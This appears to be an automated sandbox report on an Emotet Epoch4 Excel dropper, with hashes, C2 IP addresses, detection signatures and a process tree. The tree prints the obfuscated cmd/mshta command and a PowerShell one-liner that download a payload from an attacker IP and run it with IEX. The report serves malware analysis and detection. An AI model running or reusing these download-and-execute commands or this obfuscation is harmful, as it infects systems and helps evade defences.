emotet | 99a673a62ecad396147d85ad82e9a2ff4debd5f8d8865b6574adddd1046499bc

Analysis

max time kernel
121s
max time network
148s
platform
windows10_x64
resource
win10-en-20211208
submitted
24/12/2021, 05:10

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General

Target
H3726252040602729.xls
Size 65KB
Sample211224-ftqdhadbdp
SHA256 99a673a62ecad396147d85ad82e9a2ff4debd5f8d8865b6574adddd1046499bc
MD5 1daa941b1e4cdc7ad10917bf8cc633a8
SHA1 fbb6ac113c9fa82d3b8e1a2686ff94937415ab95
SHA512 b71217047f2c3672de9febb43ac5ee02b84deed2f6f5bcd24c81192f0035a41a9c51a69d65cb88160fdd9ee73a977a59e23423ec2e75223e75cfdd3c069a9dce
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://87.251.86.178/pp/aa.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://87.251.86.178/pp/PP2.PNG

Extracted

Family

emotet

Botnet

Epoch4

144.217.91.150:443
51.38.71.0:443
212.237.56.116:7080
79.172.212.216:8080
178.79.147.66:8080
138.185.72.26:8080
192.254.71.210:443
178.63.25.185:443
195.154.133.20:443
45.118.135.203:7080
81.0.236.90:443
107.182.225.142:8080
162.214.50.39:7080
50.116.54.215:443
203.114.109.124:443
45.118.115.99:8080
216.158.226.206:443
104.168.155.129:8080
110.232.117.186:8080
176.104.106.96:8080
46.55.222.11:443
51.68.175.8:8080
207.38.84.195:8080
58.227.42.236:80
45.176.232.124:443
104.251.214.46:8080
103.8.26.102:8080
45.142.114.231:8080
217.182.143.207:443
41.76.108.46:8080
212.237.5.209:443
103.8.26.103:8080
212.237.17.99:8080
173.212.193.249:8080
158.69.222.101:443
103.75.201.2:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	5088	4192	cmd.exe	68

suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)
suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)
suricata
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
16	1284	mshta.exe
21	3780	powershell.exe
23	3780	powershell.exe
25	3780	powershell.exe
53	2772	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
5068	rundll32.exe
1864	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Unoutfmu\yrzgtdweyjusuet.rla	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4880	1284	WerFault.exe	72

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4192	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3780	powershell.exe
3780	powershell.exe
4880	WerFault.exe
4880	WerFault.exe
4880	WerFault.exe
4880	WerFault.exe
4880	WerFault.exe
4880	WerFault.exe
4880	WerFault.exe
4880	WerFault.exe
4880	WerFault.exe
4880	WerFault.exe
4880	WerFault.exe
4880	WerFault.exe
4880	WerFault.exe
4880	WerFault.exe
3780	powershell.exe
2772	rundll32.exe
2772	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3780	powershell.exe
Token: SeDebugPrivilege	4880	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
4192	EXCEL.EXE
4192	EXCEL.EXE
4192	EXCEL.EXE
4192	EXCEL.EXE
4192	EXCEL.EXE
4192	EXCEL.EXE
4192	EXCEL.EXE
4192	EXCEL.EXE
4192	EXCEL.EXE
4192	EXCEL.EXE
4192	EXCEL.EXE
4192	EXCEL.EXE
4192	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 4192 wrote to memory of 5088	4192	EXCEL.EXE	70
PID 4192 wrote to memory of 5088	4192	EXCEL.EXE	70
PID 5088 wrote to memory of 1284	5088	cmd.exe	72
PID 5088 wrote to memory of 1284	5088	cmd.exe	72
PID 1284 wrote to memory of 3780	1284	mshta.exe	74
PID 1284 wrote to memory of 3780	1284	mshta.exe	74
PID 3780 wrote to memory of 1776	3780	powershell.exe	77
PID 3780 wrote to memory of 1776	3780	powershell.exe	77
PID 1776 wrote to memory of 5068	1776	cmd.exe	78
PID 1776 wrote to memory of 5068	1776	cmd.exe	78
PID 1776 wrote to memory of 5068	1776	cmd.exe	78
PID 5068 wrote to memory of 1864	5068	rundll32.exe	79
PID 5068 wrote to memory of 1864	5068	rundll32.exe	79
PID 5068 wrote to memory of 1864	5068	rundll32.exe	79
PID 1864 wrote to memory of 3288	1864	rundll32.exe	81
PID 1864 wrote to memory of 3288	1864	rundll32.exe	81
PID 1864 wrote to memory of 3288	1864	rundll32.exe	81
PID 3288 wrote to memory of 2772	3288	rundll32.exe	82
PID 3288 wrote to memory of 2772	3288	rundll32.exe	82
PID 3288 wrote to memory of 2772	3288	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\H3726252040602729.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4192
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/aa.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:5088
- - C:\Windows\system32\mshta.exe
    mshta http://87.251.86.178/pp/aa.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1284
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://87.251.86.178/pp/PP2.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3780
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,ssd
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1776
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,ssd
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:5068
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1864
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Unoutfmu\yrzgtdweyjusuet.rla",DBVALBc
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3288
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Unoutfmu\yrzgtdweyjusuet.rla",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2772
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1284 -s 1664
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4880

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1864-333-0x0000000000D20000-0x0000000000D47000-memory.dmp

Download

memory/2772-339-0x0000000000AB0000-0x0000000000AD7000-memory.dmp

Download

memory/3288-338-0x0000000004B80000-0x0000000004BA7000-memory.dmp

Download

memory/3780-285-0x000001C09C9E0000-0x000001C09CA1C000-memory.dmp

Download

memory/3780-266-0x000001C09C740000-0x000001C09C762000-memory.dmp

Download

memory/3780-265-0x000001C09C7D3000-0x000001C09C7D5000-memory.dmp

Download

memory/3780-296-0x000001C09CF30000-0x000001C09CFA6000-memory.dmp

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memory/3780-311-0x000001C09C7D6000-0x000001C09C7D8000-memory.dmp

Download

memory/3780-263-0x000001C09C7D0000-0x000001C09C7D2000-memory.dmp

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memory/4192-120-0x0000024376B90000-0x0000024376B92000-memory.dmp

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memory/4192-122-0x0000024376B90000-0x0000024376B92000-memory.dmp

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memory/4192-121-0x0000024376B90000-0x0000024376B92000-memory.dmp

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memory/4192-115-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp

Download

memory/4192-119-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp

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memory/4192-118-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp

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memory/4192-117-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp

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memory/4192-116-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp

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memory/5068-322-0x0000000000950000-0x0000000000A9A000-memory.dmp

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